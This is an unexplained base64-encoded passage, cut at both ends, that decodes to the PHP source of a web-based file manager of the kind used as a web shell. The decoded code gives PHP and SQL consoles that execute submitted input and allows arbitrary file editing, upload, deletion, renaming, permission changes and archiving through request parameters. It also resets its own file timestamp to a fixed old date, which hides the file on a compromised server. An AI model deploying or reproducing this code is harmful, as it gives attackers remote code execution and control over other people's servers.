QgKG1heC13aWR0aDo3MjBweCl7CiAgdGFibGV7ZGlzcGxheTpibG9jazt9CiAgICAjZm1fdGFibGUgdGR7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9CiAgICAjZm1fdGFibGUgdGJvZHkgdGQ6Zmlyc3QtY2hpbGR7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fQogICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kLWNvbG9yOiNFRkVGRUY7fQogICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybil7YmFja2dyb3VuZC1jb2xvcjojREVFM0U3O30KICAgICNmbV90YWJsZSB0cntkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnQ7Y2xlYXI6bGVmdDt3aWR0aDoxMDAlO30KCSNoZWFkZXJfdGFibGUgLnJvdzIsICNoZWFkZXJfdGFibGUgLnJvdzMge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fQoJI2hlYWRlcl90YWJsZSB0YWJsZSB0ZCB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPD9waHAKJHVybF9pbmMgPSAnP2ZtPXRydWUnOwppZiAoaXNzZXQoJF9QT1NUWydzcWxydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfc3FsX2NvbnNvbGUnXSkpewoJJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOwoJJHJlc19sbmcgPSAnc3FsJzsKfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsncGhwcnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3BocF9jb25zb2xlJ10pKXsKCSRyZXMgPSBlbXB0eSgkX1BPU1RbJ3BocCddKSA/ICcnIDogJF9QT1NUWydwaHAnXTsKCSRyZXNfbG5nID0gJ3BocCc7Cn0gCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsKCWVjaG8gJyAKPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLl9fKCdTZXR0aW5ncycpLic8L3RoPjwvdHI+CicuKGVtcHR5KCRtc2cpPycnOic8dHI+PHRkIGNsYXNzPSJyb3cyIiBjb2xzcGFuPSIyIj4nLiRtc2cuJzwvdGQ+PC90cj4nKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdyBzaXplIG9mIHRoZSBmb2xkZXInKSwnc2hvd19kaXJfc2l6ZScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdwaWN0dXJlcycpLCdzaG93X2ltZycpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdNYWtlIGRpcmVjdG9yeScpLCdtYWtlX2RpcmVjdG9yeScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdOZXcgZmlsZScpLCduZXdfZmlsZScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdVcGxvYWQnKSwndXBsb2FkX2ZpbGUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQIHZlcnNpb24nLCdzaG93X3BocF92ZXInKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQIGluaScsJ3Nob3dfcGhwX2luaScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKSwnc2hvd19ndCcpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyB4bHMnLCdzaG93X3hscycpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgJy5fXygnQ29uc29sZScpLCdlbmFibGVfcGhwX2NvbnNvbGUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgU1FMICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3NxbF9jb25zb2xlJykuJwo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9zZXJ2ZXJdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfc2VydmVyJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCBzZXJ2ZXI8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3VzZXJuYW1lXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCB1c2VyPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9wYXNzd29yZF0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9wYXNzd29yZCddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgcGFzc3dvcmQ8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX2RiXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX2RiJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCBEQjwvdGQ+PC90cj4KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQcm94eScsJ2VuYWJsZV9wcm94eScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBwaHBpbmZvKCknLCdzaG93X3BocGluZm8nKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnU2V0dGluZ3MnKSwnZm1fc2V0dGluZ3MnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZycpLCdyZXN0b3JlX3RpbWUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnRmlsZSBtYW5hZ2VyJykuJzogJy5fXygnUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZycpLCdmbV9yZXN0b3JlX3RpbWUnKS4nCjx0cj48dGQgY2xhc3M9InJvdzMiPjxhIGhyZWY9IicuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJmZtX2NvbmZpZ19kZWxldGU9dHJ1ZSI+Jy5fXygnUmVzZXQgc2V0dGluZ3MnKS4nPC9hPjwvdGQ+PHRkIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciIG5hbWU9ImZtX2NvbmZpZ1tmbV9zZXRfc3VibWl0XSI+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Cjx0cj48dGggY29sc3Bhbj0iMiI+Jy5fXygnU2V0dGluZ3MnKS4nIC0gJy5fXygnQXV0aG9yaXphdGlvbicpLic8L3RoPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpblthdXRob3JpemVdIiB2YWx1ZT0iMSIgJy4oJGF1dGhbJ2F1dGhvcml6ZSddPydjaGVja2VkJzonJykuJyB0eXBlPSJjaGVja2JveCIgaWQ9ImF1dGgiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48bGFiZWwgZm9yPSJhdXRoIj4nLl9fKCdBdXRob3JpemF0aW9uJykuJzwvbGFiZWw+PC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bbG9naW5dIiB2YWx1ZT0iJy4kYXV0aFsnbG9naW4nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnTG9naW4nKS4nPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bcGFzc3dvcmRdIiB2YWx1ZT0iJy4kYXV0aFsncGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnUGFzc3dvcmQnKS4nPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bY29va2llX25hbWVdIiB2YWx1ZT0iJy4kYXV0aFsnY29va2llX25hbWUnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnQ29va2llJykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2RheXNfYXV0aG9yaXphdGlvbl0iIHZhbHVlPSInLiRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnRGF5cycpLic8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjx0ZXh0YXJlYSBuYW1lPSJmbV9sb2dpbltzY3JpcHRdIiBjb2xzPSIzNSIgcm93cz0iNyIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBpZD0iYXV0aF9zY3JpcHQiPicuJGF1dGhbJ3NjcmlwdCddLic8L3RleHRhcmVhPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdTY3JpcHQnKS4nPC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciID48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4nOwplY2hvIGZtX3RwbF9mb3JtKCdwaHAnKSxmbV90cGxfZm9ybSgnc3FsJyk7Cn0gZWxzZWlmIChpc3NldCgkcHJveHlfZm9ybSkpIHsKCWRpZSgkcHJveHlfZm9ybSk7Cn0gZWxzZWlmIChpc3NldCgkcmVzX2xuZykpIHsJCj8+Cjx0YWJsZSBjbGFzcz0id2hvbGUiPgo8dHI+CiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzIiPjx0YWJsZT48dHI+PHRkPjxoMj48Pz1zdHJ0b3VwcGVyKCRyZXNfbG5nKT8+IDw/PV9fKCdDb25zb2xlJyk/Pjw/cGhwCglpZigkcmVzX2xuZz09J3NxbCcpIGVjaG8gJyAtIERhdGFiYXNlOiAnLiRmbV9jb25maWdbJ3NxbF9kYiddLic8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdwaHAnKTsKCWVsc2UgZWNobyAnPC9oMj48L3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgnc3FsJyk7Cgk/PjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CgkJPGEgaHJlZj0iPD89JHVybF9pbmMuJyZwYXRoPScgLiAkcGF0aDs/PiI+PD89X18oJ0JhY2snKT8+PC9hPgoJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiIG5hbWU9ImNvbnNvbGUiPgoJCTx0ZXh0YXJlYSBuYW1lPSI8Pz0kcmVzX2xuZz8+IiBjb2xzPSI4MCIgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDogOTAlIj48Pz0kcmVzPz48L3RleHRhcmVhPjxici8+CgkJPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iPD89X18oJ1Jlc2V0Jyk/PiI+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+IiBuYW1lPSI8Pz0kcmVzX2xuZz8+cnVuIj4KPD9waHAKJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnOwokdG1wbCA9ICFlbXB0eSgkJHN0cl90bXBsKSA/IGpzb25fZGVjb2RlKCQkc3RyX3RtcGwsdHJ1ZSkgOiAnJzsKaWYgKCFlbXB0eSgkdG1wbCkpewoJJGFjdGl2ZSA9IGlzc2V0KCRfUE9TVFskcmVzX2xuZy4nX3RwbCddKSA/ICRfUE9TVFskcmVzX2xuZy4nX3RwbCddIDogJyc7Cgkkc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT0iJy4kcmVzX2xuZy4nX3RwbCIgdGl0bGU9IicuX18oJ1RlbXBsYXRlJykuJyIgb25jaGFuZ2U9ImlmICh0aGlzLnZhbHVlIT0tMSkgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID0gdGhpcy5vcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlOyBlbHNlIGRvY3VtZW50LmZvcm1zW1wnY29uc29sZVwnXS5lbGVtZW50c1tcJycuJHJlc19sbmcuJ1wnXS52YWx1ZSA9XCdcJzsiID4nLiJcbiI7Cgkkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPSItMSI+JyAuIF9fKCdTZWxlY3QnKSAuICI8L29wdGlvbj5cbiI7Cglmb3JlYWNoICgkdG1wbCBhcyAka2V5PT4kdmFsdWUpewoJCSRzZWxlY3QuPSc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigoIWVtcHR5KCR2YWx1ZSkmJigkdmFsdWU9PSRhY3RpdmUpKT8nc2VsZWN0ZWQnOicnKS4nID4nLl9fKCRrZXkpLiI8L29wdGlvbj5cbiI7Cgl9Cgkkc2VsZWN0IC49ICI8L3NlbGVjdD5cbiI7CgllY2hvICRzZWxlY3Q7Cn0KPz4KCQk8L2Zvcm0+Cgk8L3RkPgo8L3RyPgo8L3RhYmxlPgo8P3BocAoJaWYgKCFlbXB0eSgkcmVzKSkgewoJCSRmdW49J2ZtXycuJHJlc19sbmc7CgkJZWNobyAnPGgzPicuc3RydG91cHBlcigkcmVzX2xuZykuJyAnLl9fKCdSZXN1bHQnKS4nPC9oMz48cHJlPicuJGZ1bigkcmVzKS4nPC9wcmU+JzsKCX0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2VkaXQnXSkpewoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgewoJCSRmbiA9ICRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J107CgkJJGZpbGVtdGltZSA9IGZpbGVtdGltZSgkZm4pOwoJICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZm4sICRfUkVRVUVTVFsnbmV3Y29udGVudCddKSkgJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7CgkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoJCWlmICgkX0dFVFsnZWRpdCddPT1iYXNlbmFtZShfX0ZJTEVfXykpIHsKCQkJdG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7CgkJfSBlbHNlIHsKCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydyZXN0b3JlX3RpbWUnXSkpIHRvdWNoKCRmbiwkZmlsZW10aW1lKTsKCQl9Cgl9CiAgICAkb2xkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddKTsKICAgICRlZGl0bGluayA9ICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkX1JFUVVFU1RbJ2VkaXQnXSAuICcmcGF0aD0nIC4gJHBhdGg7CiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7Cj8+Cjx0YWJsZSBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMScgd2lkdGg9IjEwMCUiPgo8dHI+CiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLl9fKCdFZGl0JykuJyAtICcuJHBhdGguJF9SRVFVRVNUWydlZGl0J10/PjwvdGg+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPD89JG1zZz8+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiPgogICAgICAgIDw/PWZtX2hvbWUoKT8+IDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+Cgk8L3RkPgo8L3RyPgo8dHI+CiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPgogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGVkaXRsaW5rPz4iPgogICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0ibmV3Y29udGVudCIgaWQ9Im5ld2NvbnRlbnQiIGNvbHM9IjQ1IiByb3dzPSIxNSIgc3R5bGU9IndpZHRoOjk5JSIgc3BlbGxjaGVjaz0iZmFsc2UiPjw/PWh0bWxzcGVjaWFsY2hhcnMoJG9sZGNvbnRlbnQpPz48L3RleHRhcmVhPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjYW5jZWwiIHZhbHVlPSI8Pz1fXygnQ2FuY2VsJyk/PiI+CiAgICAgICAgPC9mb3JtPgogICAgPC90ZD4KPC90cj4KPC90YWJsZT4KPD9waHAKZWNobyAkYXV0aFsnc2NyaXB0J107Cn0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3JpZ2h0cyddKSl7CglpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7CgkgICAgaWYoZm1fY2htb2QoJHBhdGggLiAkX1JFUVVFU1RbJ3JpZ2h0cyddLCBmbV9jb252ZXJ0X3JpZ2h0cygkX1JFUVVFU1RbJ3JpZ2h0c192YWwnXSksIEAkX1JFUVVFU1RbJ3JlY3Vyc2l2ZWx5J10pKQoJCSRtc2cgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7IAoJCWVsc2UgJG1zZyAuPSAoX18oJ0Vycm9yIG9jY3VycmVkJykpOwoJfQoJY2xlYXJzdGF0Y2FjaGUoKTsKICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7CiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRfUkVRVUVTVFsncmlnaHRzJ10gLiAnJnBhdGg9JyAuICRwYXRoOwogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOwo/Pgo8dGFibGUgY2xhc3M9Indob2xlIj4KPHRyPgogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIj4KICAgICAgICA8Pz0kbXNnPz4KCTwvdGQ+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPGEgaHJlZj0iPD89JGJhY2tsaW5rPz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4KCTwvdGQ+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSIgYWxpZ249ImNlbnRlciI+CiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kbGluaz8+Ij4KICAgICAgICAgICA8Pz1fXygnUmlnaHRzJykuJyAtICcuJF9SRVFVRVNUWydyaWdodHMnXT8+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyaWdodHNfdmFsIiB2YWx1ZT0iPD89JG9sZHJpZ2h0cz8+Ij4KICAgICAgICA8P3BocCBpZiAoaXNfZGlyKCRwYXRoLiRfUkVRVUVTVFsncmlnaHRzJ10pKSB7ID8+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVjdXJzaXZlbHkiIHZhbHVlPSIxIj4gPD89X18oJ1JlY3Vyc2l2ZWx5Jyk/Pjxici8+CiAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPgogICAgICAgIDwvZm9ybT4KICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+Cjw/cGhwCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydyZW5hbWUnXSkmJiRfUkVRVUVTVFsncmVuYW1lJ108PicuJykgewoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgewoJICAgIHJlbmFtZSgkcGF0aCAuICRfUkVRVUVTVFsncmVuYW1lJ10sICRwYXRoIC4gJF9SRVFVRVNUWyduZXduYW1lJ10pOwoJCSRtc2cgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7CgkJJF9SRVFVRVNUWydyZW5hbWUnXSA9ICRfUkVRVUVTVFsnbmV3bmFtZSddOwoJfQoJY2xlYXJzdGF0Y2FjaGUoKTsKICAgICRsaW5rID0gJHVybF9pbmMgLiAnJnJlbmFtZT0nIC4gJF9SRVFVRVNUWydyZW5hbWUnXSAuICcmcGF0aD0nIC4gJHBhdGg7CiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7Cgo/Pgo8dGFibGUgY2xhc3M9Indob2xlIj4KPHRyPgogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIj4KICAgICAgICA8Pz0kbXNnPz4KCTwvdGQ+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSI+CiAgICAgICAgPGEgaHJlZj0iPD89JGJhY2tsaW5rPz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4KCTwvdGQ+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MSIgYWxpZ249ImNlbnRlciI+CiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kbGluaz8+Ij4KICAgICAgICAgICAgPD89X18oJ1JlbmFtZScpPz46IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXduYW1lIiB2YWx1ZT0iPD89JF9SRVFVRVNUWydyZW5hbWUnXT8+Ij48YnIvPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPgogICAgICAgIDwvZm9ybT4KICAgIDwvdGQ+CjwvdHI+CjwvdGFibGU+Cjw/cGhwCn0gZWxzZSB7Ci8vTGV0J3Mgcm9jayEKICAgICRtc2cgPSAnJzsKICAgIGlmKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXSkmJiFlbXB0eSgkZm1fY29uZmlnWyd1cGxvYWRfZmlsZSddKSkgewogICAgICAgIGlmKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSl7CiAgICAgICAgICAgICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10gPSBzdHJfcmVwbGFjZSgnJScsICcnLCAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKTsKICAgICAgICAgICAgaWYoIW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXSwgJHBhdGggLiAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSl7CiAgICAgICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwogICAgICAgICAgICB9IGVsc2UgewoJCQkJJG1zZyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107CgkJCX0KICAgICAgICB9CiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydkZWxldGUnXSkmJiRfUkVRVUVTVFsnZGVsZXRlJ108PicuJykgewogICAgICAgIGlmKCFmbV9kZWxfZmlsZXMoKCRwYXRoIC4gJF9SRVFVRVNUWydkZWxldGUnXSksIHRydWUpKSB7CiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CiAgICAgICAgfSBlbHNlIHsKCQkJJG1zZyAuPSBfXygnRGVsZXRlZCcpLicgJy4kX1JFUVVFU1RbJ2RlbGV0ZSddOwoJCX0KCX0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHsKICAgICAgICBpZighQG1rZGlyKCRwYXRoIC4gJF9SRVFVRVNUWydkaXJuYW1lJ10sMDc3NykpIHsKICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKICAgICAgICB9IGVsc2UgewoJCQkkbXNnIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZGlybmFtZSddOwoJCX0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZmlsZSddKSYmIWVtcHR5KCRmbV9jb25maWdbJ25ld19maWxlJ10pKSB7CiAgICAgICAgaWYoISRmcD1AZm9wZW4oJHBhdGggLiAkX1JFUVVFU1RbJ2ZpbGVuYW1lJ10sInciKSkgewogICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwogICAgICAgIH0gZWxzZSB7CgkJCWZjbG9zZSgkZnApOwoJCQkkbXNnIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZmlsZW5hbWUnXTsKCQl9CiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3ppcCddKSkgewoJCSRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWyd6aXAnXSk7CgkJJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy56aXAnOwoJCXNldF90aW1lX2xpbWl0KDApOwoJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7CgkJJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsKCQlpZiAoaXNfZmlsZSgkZGVzdGluYXRpb24pKQoJCSRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4KCQknLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikKCQkuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiAkZGVzdGluYXRpb24uJyIgPicuX18oJ0RlbGV0ZScpIC4gJzwvYT4nOwoJCWVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpOwoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydneiddKSkgewoJCSRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTsKCQkkYXJjaGl2ZSA9ICRzb3VyY2UuJy50YXInOwoJCSRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJzsKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYX